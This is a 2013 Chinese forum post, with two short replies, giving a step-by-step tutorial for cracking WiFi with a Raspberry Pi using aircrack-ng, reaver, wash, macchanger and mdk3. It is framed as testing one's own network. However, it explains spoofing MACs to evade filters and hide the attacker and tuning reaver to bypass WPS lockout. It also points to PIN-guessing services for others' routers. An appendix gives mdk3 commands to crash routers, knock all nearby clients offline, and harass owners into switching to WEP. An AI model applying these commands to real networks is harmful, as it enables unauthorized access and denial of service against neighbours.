查看: 33777|回复: 2

[项目] 用Raspberry Pi检测自己的无线网络安全

[复制链接]
  • TA的每日心情
    开心
    2016-8-15 09:30
  • 签到天数: 162 天

    连续签到: 1 天

    [LV.7]常住居民III

    发表于 2013-5-21 16:57:15 | 显示全部楼层 |阅读模式
    分享到:

    "实际上本文适用于其他Linux/Unix-like 系统“
    著作本文之目的是在于学习和探测自己的无线网络安全,如使用于其他目的皆与我无关,安全是双刃剑,可守亦可攻。

    通常我们都会使用家庭无线路由,使得无线设备可以连网,但是隔墙有耳,无线的特性也决定了他人可以进行连接,因此我们需要诊断自己的无线是否安全。传统上,我们使用pc,装个CDLinux或者Benni,再或者巨无霸级别的BlackTrack,这会占用一台PC,并且不得不忍受睡前检测自己安全,睡醒后检测到一半,然后要关机切换回工作系统。

    所以今天的目的就是要让你摆脱束缚,使用Raspberry Pi作为无线检测基地,24小时自动帮你检查你的无线安全性,文章会涉及Raspberry Pi下安装使用Reaver和Aircrack-ng,以及在WPS PIN时的一些问题,另外涉及到跑包解码部分会在后续补全。下面就开始说一下:

    检测目的:检测自己家的无线安全性

    检测手段:WPS 计算、WPA-PSK反解、匿名攻击

    检测平台:
                
                  1  Raspberry Pi  512M/256M
                  2  2张 USB WIFI Card,我的 AR9721 芯片和Realtek任意网卡
                  3  Raspbian OS

    检测步骤:

    一 软件的准备

    1 Aircrack-ng

    wget http://download.aircrack-ng.org/aircrack-ng-1.1.tar.gz
    tar zxvf aircrack-ng-1.1.tar.gz

    但是这个地址似乎被国家防火墙给OOXX,你需要想点办法才可以。

    apt-get install -y libpcap-dev libsqlite3-dev sqlite3 libpcap0.8-dev libssl-dev build-essential iw tshark


    cd aircrack-ng-1.1
    vi common.mak

    在最后几行看到如下

    CFLAGS          ?= -g -W -Wall -Werror -O3
    删除 "-Werror",否则编译会不通过

    保存后退出,然后

    make && sudo make install


    2 Reaver 1.4

    wget http://reaver-wps.googlecode.com/files/reaver-1.4.tar.gz
    tar zxvf reaver-1.4.tar.gz
    cd  reaver-1.4/src
    ./configure && make && sudo make install

    3 [非必须软件] macchanger

    sudo apt-get insall -y macchanger

    作用是保护我们自己,更改我们自己的网卡MAC。另外一个用途是,我们的无线路由有MAC地址绑定,我们改成它正常客户端的MAC就可以进行探测


    二 无线网卡的选择

    要检测无线安全性,必须要求无线网卡能进入混杂模式,这种模式可以接受所有的无线信号,符合这种要求的网卡一般都是有特定芯片。例如常见的所谓 8187网卡等等,我这里选用的是 Atheros 9271 ,原因有两点:

    1 Atheros 92XX 芯片性能不错,Apple Mac Book Air / Pro 之前就是 Atheros 9280,而我的笔记本也是 AR9280。这网卡的好处不单可以接收无线信号,还可以做热点,将接收的无线网路再次分发,也就是说电脑就能实现无线桥接。

    2 驱动简单,无bug。Raspberry Pi系统就有 AR 9XXX 的驱动,插上网卡就可以驱动,也没有兼容问题。

    另外,我在硬件需求里,也提到过要2张USB网卡,其中一个必须是可以进入混杂模式的无线网卡(本例中是 Atheros 9271),另一张就随便一个便宜的无线网卡,属于非必须,原因是这第二张无线网卡仅仅是提供给我们远程连接用的。我想你更希望,一边用AirPlay在RaspBerry Pi上看高清,一边让它后台帮你侦测安全,第二张网卡的作用就是AirPlay用和远程控制用,你也可以使用自带的有线网卡。

    在这一节,除了要购买好网卡外,插入到raspberry后,你还需要注意无线网卡是哪一个名称,例如我的

    ifconfig -a

    eth0: ..................................
    .......................

    wlan0 : ...................................
    .......................

    wlan1:...................
    ................

    Linux不太好的地方是,对驱动使用通用名称而非显示驱动名称,所以你只能看看Mac 地址来区分wlan0 wlan1各自对应,或者你拔掉一个网卡,看看序号变化。另外也可使用命令 " lsusb "来看看。不在今天的讨论之内。

    这里假定: wlan0 是用于ssh 连接,进行远程控制的网卡; wlan1 对应 Atheros 9271网卡,用了进行安全侦听。


    三 检测无线安全

    1 扫描无线网路

    废话一句:最好你能 apt-get install screen ,这样你就可以在关闭远程连接时,RaspBerry Pi继续工作,此软件为非必须。

    由于我将raspberry打开了root用户,所以我直接使用root操作,如果你也想减少麻烦,建议也直接切换到root (可以先在普通用户模式下 sudo passwd root ,给root改密码,然后你就可以直接 " su -  ",切换)。

    1) 命令

    airmon-ng start wlan1

    这将会产生一个新的网络接口  mon0 , 这表示要在wlan1上开始无线侦听啦,这时你可以通过 mon0 接受周围任何无线数据包。

    2) 命令

    airodump-ng mon0

    将会得到一个列表(这张列表其实还有后半部分,未列出)

    CH  3 ][ Elapsed: 23 mins ][ 2013-05-12 22:35                              
                                                                                 
    BSSID              PWR  Beacons    #Data, #/s  CH  MB   ENC  CIPHER AUTH ESSID
                                                                                 

    18:64:C7:1E:2E:6f  -70     1519       19    0  11  54   WPA2 CCMP   PSK  China
    17:E6:E4:F2:32:B6  -75       70       85    0   6  54e. WPA2 CCMP   PSK  steve
    8a:21:0A:9C9:57  -78      451        1    0   6  54e WPA2 CCMP   MGT  MERCU
    8c:E8:73:31:56:99  -81      442        1    0   6  54e. WPA2 CCMP   PSK  xiux
    98:83:45:4A:FE:66  -83      526      230    0   6  54e. WPA2 CCMP   PSK  Re


    注意看这张列表,列表中显示了你周边无线的相关信息。注意看 MB 这一列,显示为" 54 "、"54e. "等等,这表示了无线当前的速率模式以及WPS开启状况,我自己的路由器是 "steve",注意看,”54e“和” 54e. “是不同的,多了一个 点,这个点表示开启了 wps模式。所以我们下面就进行wps的探测,在这里我们要记住SSID对应的MAC地址,此后我们会针对MAC地址进行攻击和探测。


    或者,你额外进行一个操作,扫描 wps 专用命令  wash :

    wash -i mon0 -n 5 -C -s

    这表示使用 mon0 界面监听周围wps信号,对每个无线点进行5个包探测, -C 表示忽略存在错误包的频道, -s 就是扫描 scan。会得到如下:


    root@xbmc:/home/pi# wash -i mon0 -n 5 -C -s

    Wash v1.4 WiFi Protected Setup Scan Tool
    Copyright (c) 2011, Tactical Network Solutions, Craig Heffner <cheffner@tacnetsol.com>

    BSSID                  Channel       RSSI       WPS Version       WPS Locked        ESSID
    ---------------------------------------------------------------------------------------------------------------
    3C1:77:3E:79:5c       1            -62        1.0               No                Jasom
    aC:63:BF:75:80:7b       1            -63        1.0               No                MERCURY
    a8:61:BF:75:80:33       1            -62        1.0               No                MERCURY
    78:83:45:4A:FE:ae       6            -74        1.0               No                Rem
    cC:E8:73:31:56:5f       6            -82        1.0               No                xiu
    bC:17:2F:41:99:F8       6            -82        1.0               No                TP-LINK_
    58:64:C7:1E:2E:b2      11            -77        1.0               No                ChinaNet-
    d2:54:99:55:A7:e9      11            -72        1.0               No                ChinaNet-
    eC:21:0A:9C9:c5       6            -79        1.0               No                MERCURY_



    这样就一目了然的看到 WPS 那里都是 1.0,而且WPS Locked 是NO。这就是我们接下来要做的事情了。


    3)WPS 探测破解

    3.1)  记住:保护自己,在操作前,使用 macchanger 或者系统自带的ifconfig。

    macchanger -m aa:bb:cc:dd:ee:ff wlan1

    命令的意思是,强制更改wlan1的MAC地址为 aa:bb:cc:dd:ee:ff ,如果路由器限制了MAC,你就将此处的MAC改成可以正常访问的。有mac限制的wifi通常都是由自己客户端连接的,因此你要有耐心使用 airodump-ng mon0 (也即是上面 2种提到)去看底下的客户端列表。因此路由器限定MAC并不安全。


    你也可能喜欢

    macchanger -r wlan1

    这表示把wlan1 改成随机的MAC,这样就不担心路由器的封锁。

    3.2) 接下来正式开始破解WPS的PIN



    reaver -i mon0  -b 00:01:02:03:04:05 -vv -S -a

    其中 -b 后面的MAC就是你要破解的无线的MAC,然后你就可以让raspberry自己搞定。

    -vv 是查看详细信息的,等你熟练了之后,你就可以使用 -v ,这样就简单了。通常,遇到问题才会使用 -vv 。

    得到下面:


    Reaver v1.4 WiFi Protected Setup Attack Tool
    Copyright (c) 2011, Tactical Network Solutions, Craig Heffner <cheffner@tacnetsol.com>

    [+] Restored previous session
    [+] Waiting for beacon from 18:17:2F:54:87:f3
    [+] Associated with EC:17:2F:54:87:7C (ESSID: Steve)
    [+] Trying pin 54632226
    [+] Trying pin 54632226
    [+] Trying pin 54632226
    [+] Trying pin 54633339
    [+] Trying pin 54634442
    [+] Trying pin 54635555
    [+] 90.95% complete @ 2013-05-11 20:52:06 (8 seconds/pin)
    [+] Trying pin 54635555
    [+] Trying pin 54636668
    [+] Trying pin 54637771
    [+] Trying pin 54637771


    3.4)可能遇到的问题

    如果只是几条命令这么简单,可能我这文章与其他人就无异了,这里要说的是探测过程中可能遇到的状况。

    a.  reaver 命令出错中断了,我的破解进度怎么办

    这个你不用担心,reaver是实时保存进度到 /usr/local/etc/reaver/ 目录下,如果你查看你会发现文件使用 mac地址.wpc 格式存放,下一次你只要是针对此mac的破解将会自动读取该文档,所以你可以在任何时候中断。

    b. reaver 提示” Failed Associated with XX:XX:XX:XX:XX:XX "

    这表示你无法连接到所选的wifi ,可能是信号问题,可能是对方被你给PIN死了,也可能是对方限制了MAC地址。解决方案:

    *针对信号,这个神都解决不了,除非换天线
    *路由PIN死了,但是可能路由上网还通,因此你虽然连接不上,但是不影响原来已经连接的。所以这种情况就要使用大招: mdk3 攻击,强制使路由器处于假死,迫使主人重启路由器。至于mdk3的使用,你可以跳到文章后面阅读,或者本页搜索 mdk3攻击 。
    *对方限制了MAC地址,这个我在前面macchanger中已经提到,HOHO有备而来哟。

    c. reaver 破解到 99.99%以后就无限循环了

    这个问题比较复杂,多半是因为漏PIN了 ,网络上流传可以使用 -n 来解决,但是也不尽然,如果PIN的时候网络不好,你PIN了一组数字,结果服务器不回复,reaver就认为那组数字是错误的,实际上是因为你和路由间信号不好导致回复丢失了。。。。。

    首先,如果你不幸到了99.99%无限循环,那就要去手动修改 /usr/local/etc/reaver/mac地址.wpc,可以看前三行,修改第二行为000,强制重新从90%开始计算。关于wpc文件,将会在后面进行解释。
    如果你仅仅是临时测试PIN进度,可以使用


    reaver -i mon0  -b 00:01:02:03:04:05 -vv -n -a -p 5463

    此处5463是你99.99%循环时那组数字的前四位。这个临时模式的破解进度是无法保存的,需要注意。如果需要实时保存进度,只能修改上面提到的wpc文件。


    其次,使用 -vv 看看有没有出错,例如我发现我的就一直提示:

    [!] WPS transaction failed (code: 0x03), re-trying last pin
    或者
    [!] WPS transaction failed (code: 0x02), re-trying last pin


    这或许因为对方路由器限定了PIN的次数,过于频繁就会拒绝我们的探测,因此我们修改一下参数:

    reaver -i mon0  -b 00:01:02:03:04:05 -vv -S -N -L -d 60 -r 3:15 -T .5 -x 360

    好吧,这下参数变长了好多,其实很简单:

    -L 就是忽略路由锁定

    -d 60 就是发一次等1分钟,降低我们的探测频率,这相当有用,尽管速度降了下来但是更精准了。

    -r 3:15是一个PIN失败后尝试3次,每次间隔15秒。

    -T .5 默认是 0.1 ,这是说多久没有收到无线路由的回馈算PIN失败。改大一点可以弥补信号冲突、衰减造成的延迟大的问题。

    -x 360 ,当同PIN10次失败后,reaver就进入休眠,时间10分钟,这样可以让路由器恢复一下,利于我们继续PIN!!


    这样一来,就不再提示错误了,偶尔也会有一两个,但是因为可以重试所以准确率提高。


    d reaver的时候总是要从123456789开始,有没有捷径可以走?

    当然有捷径,只是不是十分靠谱,在进行动作前 ,查阅 http://mac-pin.456vv.net/ 针对你要探测的MAC进行查询,可以使用MAC前半部查询,得到一个近似值,然后你就使用前面提到的临时命令看看是否会直接就到90%,如果是,表示前4位是正确的。
    然后,修改wpc文件,第一行为 那四位,第三行为1 。然后享受飞跃的感觉。

    如果你要破解的时中国电信 ChinaNet-xxYn的路由器,可以从网上下载一个 “中国电信路由光猫PIN计算”的excel文档,里面也可能极不靠谱的粗略计算一下前四位。虽然极不靠谱,但是在我的尝试中还不错。


    到此为止,我们的WPS探测就告一段落。接下来要说的是,没有开放WPS的路由怎么办?


    4 WPA /WPA 2 加密的路由

    这个只能跑包解决,也就是说,我们只能探测握手包,就是密码认证的握手包。我会抽时间补全。





    附记:

    mdk3攻击

    我不想将这个写太详细,因为危害极大,但是技术始终是中立,看用的人如何。

    mdk3攻击的目的

    1 迫使路由死机,人为重启路由器。

    这多半是因为我们探测是路由被探测死掉,拒绝我们的探测,需要让人重启,但是路由又不归我们控制,这时mdk3就让路由下线,那么人就不得不重启路由。亲测90%情况下有效

    2 迫使对方更换密码加密方式

    对方路由使用了 wpa/wpa2 加密,没有Wps,跑包又无效,怎么办,我们就使用mdk3进行攻击,迫使对方客户端全部掉线,直到更换为wep加密方式,可以秒破。你肯定会问成功概率,我能说的就是,概率比较低,主要原因是,操作路由的人发现wpa无法认证通常都是重启路由了,因此你需要有耐心的让raspberry 24小时不断骚扰,过一周后就可能对方变更了,我只成功过一次。这是在跑包无奈下的选择。

    3 假造很多假的SSID

    这种就是无线骚扰,要说有啥用途,第一就是让人家不得安生,那么多ID塞满周边,无从选择,因为ID都差不多。第二,就是人家会选错,使用正确的密码认证。我没有这么用过。

    列绝了以上3个作用,下面就是实践:

    下载 http://homepages.tu-darmstadt.de/~p_larbig/wlan/mdk3-v6.tar.bz2
    安装:
    修改Makefile
    将 LINKFLAGS = -lpthread
    修改为 LINKFLAGS = -pthread (去掉l )

    make && sudo make install

    1 mdk3 mon0 a -a 路由器MAC     #迫使主人重启路由

    2 mdk3 mon0 g -t BSSID(例如ChinaNet-Hj4q,也即是wifi的名字)               #此命令将会迫使路由器的WPA假死,直到主人更换为WEP。 !!!!危害极大

    3 假SSID,这个我不说了

    4 mdk3 mon0 d -b 文件名(文件名称中包含要攻击的MAC)-s 数字(发包速度)       #此命令将会令AP的客户端全下线。用途是在你抓取wpa认证握手包时,强制他们重新认证。 !!!!危害超级大,如果使用不当会导致周围所有无线客户端都掉线!!!!!!!

    源自:bao3.blogspot.com

    回复

    使用道具 举报

  • TA的每日心情
    开心
    2012-11-23 16:50
  • 签到天数: 15 天

    连续签到: 1 天

    [LV.4]偶尔看看III

    发表于 2013-5-21 20:43:43 | 显示全部楼层
    不错,支持一下
    回复 支持 反对

    使用道具 举报

    该用户从未签到

    发表于 2014-12-15 01:22:15 | 显示全部楼层
    好强大的说。。测试ing,哦对了,sudo apt-get insall -y macchanger 打错了,应为sudo apt-get install -y macchanger。
    LZ辛苦了~
    回复 支持 反对

    使用道具 举报

    您需要登录后才可以回帖 注册/登录

    本版积分规则

    关闭

    站长推荐上一条 /4 下一条



    手机版|小黑屋|与非网

    GMT+8, 2024-11-19 15:13 , Processed in 0.148950 second(s), 19 queries , MemCache On.

    ICP经营许可证 苏B2-20140176  苏ICP备14012660号-2   苏州灵动帧格网络科技有限公司 版权所有.

    苏公网安备 32059002001037号

    Powered by Discuz! X3.4

    Copyright © 2001-2024, Tencent Cloud.